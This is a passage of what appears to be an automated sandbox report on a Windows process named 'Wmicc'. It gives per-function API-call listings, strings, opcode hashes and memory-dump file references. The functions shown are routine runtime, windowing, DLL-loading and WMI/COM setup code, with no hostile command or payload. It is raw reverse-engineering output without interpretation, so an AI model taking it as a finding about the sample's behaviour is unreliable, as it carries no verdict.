88V, xrefs: 0040F262
..., xrefs: 0040F313
<program name unknown>, xrefs: 0040F2D1
Microsoft Visual C++ Runtime Library, xrefs: 0040F36D

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$88V$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $XBHB
API String ID: 3784150691-1092067725
Opcode ID: a77e91d83ec9521f6a6bc08f638e12b0417f3703a39c7ae2e72be08092fa6d66
Instruction ID: 5990faea032f8765a28c7905dad84c2f5d869f459a7a75f7b632d663b957eb8a
Opcode Fuzzy Hash: a77e91d83ec9521f6a6bc08f638e12b0417f3703a39c7ae2e72be08092fa6d66
Instruction Fuzzy Hash: 8031D472A002086EDF30DAA1DC45FDA77ACEF46704F1004BBF544E7190E6B8AA89CA59

Function 00416F62 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00416F67
GetPropA.USER32(?,AfxOldWndProc423), ref: 00416F7F
CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 00416FDD

Part of subcall function 00416B4A: GetWindowRect.USER32(?,00416D42), ref: 00416B6F
Part of subcall function 00416B4A: GetWindow.USER32(?,00000004), ref: 00416B8C

SetWindowLongA.USER32(?,000000FC,?), ref: 0041700D
RemovePropA.USER32(?,AfxOldWndProc423), ref: 00417015
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 0041701C
GlobalDeleteAtom.KERNEL32(00000000), ref: 00417023

Part of subcall function 00416B27: GetWindowRect.USER32(?,?), ref: 00416B33

CallWindowProcA.USER32(?,?,?,?,00000000), ref: 00417077

Strings

AfxOldWndProc423, xrefs: 00416F75, 00416F7D, 00417013, 0041701B

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prologLongRemove
String ID: AfxOldWndProc423
API String ID: 2397448395-1060338832
Opcode ID: db07b392eef7c99af1d0a72c6603788d548b6f74e75db2ff6b498b1d550740e1
Instruction ID: 5e1b1278530c39822ef15db4c980efcf65cb1c562fd675f83a7c481e0992d183
Opcode Fuzzy Hash: db07b392eef7c99af1d0a72c6603788d548b6f74e75db2ff6b498b1d550740e1
Instruction Fuzzy Hash: 76318072800219ABCF11AFA5DD49DFF7F78FF09350F00452AF901A2150D7799A519BA9

Function 0040A590 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 113librarywindowloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 0040A5A2
LoadLibraryA.KERNEL32(?), ref: 0040A5AF
wsprintfA.USER32 ref: 0040A5C6
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 0040A5DC

Part of subcall function 004074E0: ExitProcess.KERNEL32 ref: 004074F5

GetProcAddress.KERNEL32(00000000,00000040), ref: 0040A671
wsprintfA.USER32 ref: 0040A689
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 0040A69F

Strings

DLL ERROR, xrefs: 0040A5D5, 0040A698

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Messagewsprintf$AddressExitHandleLibraryLoadModuleProcProcess
String ID: DLL ERROR
API String ID: 1172160414-4092134112
Opcode ID: ac908fe651f93a36dff5da251a98319e79fd617e27523ee72d188eab89c2ed2d
Instruction ID: e9e673aa4b12f5ab12fc36a8d007295f8ba18c2ab35b5e6ac4dcbc5f0b2ac8de
Opcode Fuzzy Hash: ac908fe651f93a36dff5da251a98319e79fd617e27523ee72d188eab89c2ed2d
Instruction Fuzzy Hash: 15312CB56003016BC320DF25EC45F9BBBA8EB94714F044939FA45A3291E7B9E818C79A

Function 0041A42F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000011), ref: 0041A44B
GetStockObject.GDI32(0000000D), ref: 0041A453
GetObjectA.GDI32(00000000,0000003C,?), ref: 0041A460
GetDC.USER32(00000000), ref: 0041A46F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041A486
MulDiv.KERNEL32(?,00000048,00000000), ref: 0041A492
ReleaseDC.USER32(00000000,00000000), ref: 0041A49D

Strings

System, xrefs: 0041A444, 0041A4B3

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: 09966f7be7d98a54c34004f26a457de816a0b22b52c4afd96e1d63657b08d84d
Instruction ID: 1491a52f1f46c405e27ed2088d328d6b767c419f95944a4cfd84969a679ce57b
Opcode Fuzzy Hash: 09966f7be7d98a54c34004f26a457de816a0b22b52c4afd96e1d63657b08d84d
Instruction Fuzzy Hash: 49115635A41218ABEB109BA1DC49FEE7B78EB45750F008029FA05E71D0D7F49D5187A9

Function 004137C0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,0040F378,?,Microsoft Visual C++ Runtime Library,00012010,?,0041FF60,?,0041FFB0,?,?,?,Runtime Error!Program: ), ref: 004137D2
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 004137EA
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 004137FB
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00413808

Strings

MessageBoxA, xrefs: 004137E4
user32.dll, xrefs: 004137CD
GetActiveWindow, xrefs: 004137F5
GetLastActivePopup, xrefs: 004137FD

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: f7900d6fee04a7c86132bb91a05e41f5267908dab1935e71b90eef64f34f5aa2
Instruction ID: 7881c66b64f87325a5e767a5d090233ed6bb36175bfe24ac9c6223bfef09738e
Opcode Fuzzy Hash: f7900d6fee04a7c86132bb91a05e41f5267908dab1935e71b90eef64f34f5aa2
Instruction Fuzzy Hash: 64017535704315EF87219FB5BC84A6B7AE8AE58791700047BB508D2261D6789885EBB8

Function 00419058 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(COMCTL32.DLL,00000800,00000000,00000400,00419352,?,00020000), ref: 00419061
LoadLibraryA.KERNEL32(COMCTL32.DLL), ref: 0041906A
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0041907E
#17.COMCTL32 ref: 00419099
#17.COMCTL32 ref: 004190B5
FreeLibrary.KERNEL32(00000000), ref: 004190C1

Strings

InitCommonControlsEx, xrefs: 00419076
COMCTL32.DLL, xrefs: 0041905A, 00419060, 00419067

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: COMCTL32.DLL$InitCommonControlsEx
API String ID: 1437655972-4218389149
Opcode ID: 165fe9e4149a2001f835132beb38a2a9eb43c478d5041afcb6067a9cc99fd4ad
Instruction ID: b360cc3b208919de4151aaf8acff453344861bf7082ce5b9a9ae99eb40b40436
Opcode Fuzzy Hash: 165fe9e4149a2001f835132beb38a2a9eb43c478d5041afcb6067a9cc99fd4ad
Instruction Fuzzy Hash: C5F0283A702222AB8711DB65DD486DB7ABCBF987617054836FC40E3200CB78CC01C7AE

Function 00409980 Relevance: 13.7, APIs: 9, Instructions: 186comregistryCOMMON

Download Yara Rule

APIs

LoadTypeLib.OLEAUT32(00000000,?), ref: 004099E8
GetUserDefaultLCID.KERNEL32(00000000,?,0000091C,?,00000000,00010030,WbemScripting.SWbemLocator,00000000,80000004,00000000,00000000,00000000,00000000,00000000,00000001), ref: 004099F7
LHashValOfNameSys.OLEAUT32(00000001,00000000), ref: 00409A00
RegisterTypeLib.OLEAUT32(?,00000000,00000000), ref: 00409A66
CLSIDFromProgID.OLE32(00000000,?,0000091C,?,00000000,00010030,WbemScripting.SWbemLocator,00000000,80000004,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00409AA7
CLSIDFromString.OLE32(00000000,?,?,?,?,?,?,00000000), ref: 00409ABA
CoCreateInstance.OLE32(?,00000000,00000017,004202C0,?), ref: 00409AF5
CoCreateInstance.OLE32(?,00000000,00000007,004202C0,?), ref: 00409B13
OleRun.OLE32(?), ref: 00409B20

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CreateFromInstanceType$DefaultHashLoadNameProgRegisterStringUser
String ID:
API String ID: 458303785-0
Opcode ID: 3bf648c1b0209cbc554ae4eb724e922f7c6ad3a85fcb6f22e036466e17864e45
Instruction ID: 8372d31e5d4d8276a63818d4222831daee5f593dfe543ca3910d6267219e2ca6
Opcode Fuzzy Hash: 3bf648c1b0209cbc554ae4eb724e922f7c6ad3a85fcb6f22e036466e17864e45
Instruction Fuzzy Hash: B651C0B5604305AFD210DF66EC8495BB7E8EF88314F00893EF945D7241E739ED498BA6

Function 00419D08 Relevance: 13.6, APIs: 9, Instructions: 113COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00419D0D
FindResourceA.KERNEL32(?,00000000,00000005), ref: 00419D45
LoadResource.KERNEL32(?,00000000), ref: 00419D4D

Part of subcall function 0041737F: UnhookWindowsHookEx.USER32(?), ref: 004173A4

LockResource.KERNEL32(?), ref: 00419D5A
IsWindowEnabled.USER32(?), ref: 00419D8D
EnableWindow.USER32(?,00000000), ref: 00419D9B
EnableWindow.USER32(?,00000001), ref: 00419E29
GetActiveWindow.USER32 ref: 00419E34
SetActiveWindow.USER32(?), ref: 00419E42

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Window$Resource$ActiveEnable$EnabledFindH_prologHookLoadLockUnhookWindows
String ID:
API String ID: 401145483-0
Opcode ID: 07bad77646339d940f8ee4d595b23802cdfaf3da593bcce16ddc74e1fc75a7c7
Instruction ID: 906d0db3251942f0005da4620e059bfe30801574778ddfd1d0e732a90cfc3de4
Opcode Fuzzy Hash: 07bad77646339d940f8ee4d595b23802cdfaf3da593bcce16ddc74e1fc75a7c7
Instruction Fuzzy Hash: 8E41B134A007049FCF21AB65C9596EFBBB5AF44711F10451FE902A3291CB398D80CB59

Function 00413301 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004201D4,00000001,?,74DEE860,00577E20,?,?,0040D426,?,?,?,00000000,00000001), ref: 00413340
GetStringTypeA.KERNEL32(00000000,00000001,004201D0,00000001,?,?,0040D426,?,?,?,00000000,00000001), ref: 0041335A
GetStringTypeA.KERNEL32(?,?,?,?,0040D426,74DEE860,00577E20,?,?,0040D426,?,?,?,00000000,00000001), ref: 0041338E
MultiByteToWideChar.KERNEL32(?, ~W,?,?,00000000,00000000,74DEE860,00577E20,?,?,0040D426,?,?,?,00000000,00000001), ref: 004133C6
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,0040D426,?), ref: 0041341C
GetStringTypeW.KERNEL32(?,?,00000000,0040D426,?,?,?,?,?,?,0040D426,?), ref: 0041342E

Strings

~W, xrefs: 004133B7, 004133C2

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: StringType$ByteCharMultiWide
String ID: ~W
API String ID: 3852931651-2210336733
Opcode ID: 1d68b504b80dd96bdff3b75b7cebcd85ac9fe48cf0d4a4d2617a5a4d7a286778
Instruction ID: 9b17d7191d4fb2f550543cd77873614fbf2e76851e1ad5816bbada948eed2c96
Opcode Fuzzy Hash: 1d68b504b80dd96bdff3b75b7cebcd85ac9fe48cf0d4a4d2617a5a4d7a286778
Instruction Fuzzy Hash: 31418071A0022ABFCF218F95DD85AEF7FB8FB08751F104426FD15D2250D7398A949BA8

Function 0040EC8D Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,0040C112), ref: 0040ECA8
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,0040C112), ref: 0040ECBC
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,0040C112), ref: 0040ECE8
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,0040C112), ref: 0040ED20
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,0040C112), ref: 0040ED42
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,0040C112), ref: 0040ED5B
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,0040C112), ref: 0040ED6E
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0040EDAC

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: 6384076ff98f36e76bd66684e282597180cc2b0f61db366a086cefdc42e93d4e
Instruction ID: 69110a9aa7bc9ced1163d253af789f17e7024fbcb890cfad914e0b40d7950e44
Opcode Fuzzy Hash: 6384076ff98f36e76bd66684e282597180cc2b0f61db366a086cefdc42e93d4e
Instruction Fuzzy Hash: DA3128B2408226AFE7307B775C8487BB69CEE497447150D3BF966F32C0E6398C91526D

Function 00410D0C Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 102memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,8V,8V,?,?,004111D8,00000000,00000010,00000000,00000009,00000009,?,0040C442,00000010,00000000), ref: 00410D2D
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,004111D8,00000000,00000010,00000000,00000009,00000009,?,0040C442,00000010,00000000), ref: 00410D51
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,004111D8,00000000,00000010,00000000,00000009,00000009,?,0040C442,00000010,00000000), ref: 00410D6B
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,004111D8,00000000,00000010,00000000,00000009,00000009,?,0040C442,00000010,00000000,?), ref: 00410E2C
HeapFree.KERNEL32(00000000,00000000,?,?,004111D8,00000000,00000010,00000000,00000009,00000009,?,0040C442,00000010,00000000,?,00000000), ref: 00410E43

Strings

8V, xrefs: 00410D8C, 00410D95, 00410D9E, 00410DA6
8V, xrefs: 00410E32
8V, xrefs: 00410D15, 00410D16, 00410D19, 00410D75, 00410D7E, 00410D87

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: AllocVirtual$FreeHeap
String ID: 8V$8V$8V
API String ID: 714016831-4269652141
Opcode ID: bfbb6acb6ba39d820654d31d35181cd456fde4114bdf71960a402273fa36fdee
Instruction ID: 8a2aea3f52a203150c5201b140fb5fdde863b33399f55c2cf12ad2005a98fbd3
Opcode Fuzzy Hash: bfbb6acb6ba39d820654d31d35181cd456fde4114bdf71960a402273fa36fdee
Instruction Fuzzy Hash: 7031EF70A40705AFD3208F29EC44BA6BBE4EB54B54F10853AF55597290D7F8A8C8EB48

Function 0041583B Relevance: 12.1, APIs: 8, Instructions: 65memorystringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 0041585B
lstrcmpA.KERNEL32(?,?), ref: 00415867
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 00415879
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0041589C
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 004158A4
GlobalLock.KERNEL32(00000000), ref: 004158B1
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 004158BE
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 004158DC

Part of subcall function 0041A6A4: GlobalFlags.KERNEL32(?), ref: 0041A6AE
Part of subcall function 0041A6A4: GlobalUnlock.KERNEL32(?), ref: 0041A6C5
Part of subcall function 0041A6A4: GlobalFree.KERNEL32(?), ref: 0041A6D0

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: 46181b9c39a5c36b5aad4e8571460e511e874022ce186fa6ad90417f9fa46ef7
Instruction ID: 6567f369e2a15213e0a315d5aa69a05704478787413896bd7b9ed4018e21d453
Opcode Fuzzy Hash: 46181b9c39a5c36b5aad4e8571460e511e874022ce186fa6ad90417f9fa46ef7
Instruction Fuzzy Hash: D7118F71200604BEDB216BB6CC4AEEF7ABDEFC5704F04445AFA0985211D7399D909B28

Function 00418E8D Relevance: 10.6, APIs: 7, Instructions: 122windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00418EC1
PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00418EEA
UpdateWindow.USER32(?), ref: 00418F06
SendMessageA.USER32(?,00000121,00000000,?), ref: 00418F2C
SendMessageA.USER32(?,0000036A,00000000,00000018), ref: 00418F4B
UpdateWindow.USER32(?), ref: 00418F8E
PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00418FC1

Part of subcall function 00416865: GetWindowLongA.USER32(?,000000F0), ref: 00416871

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

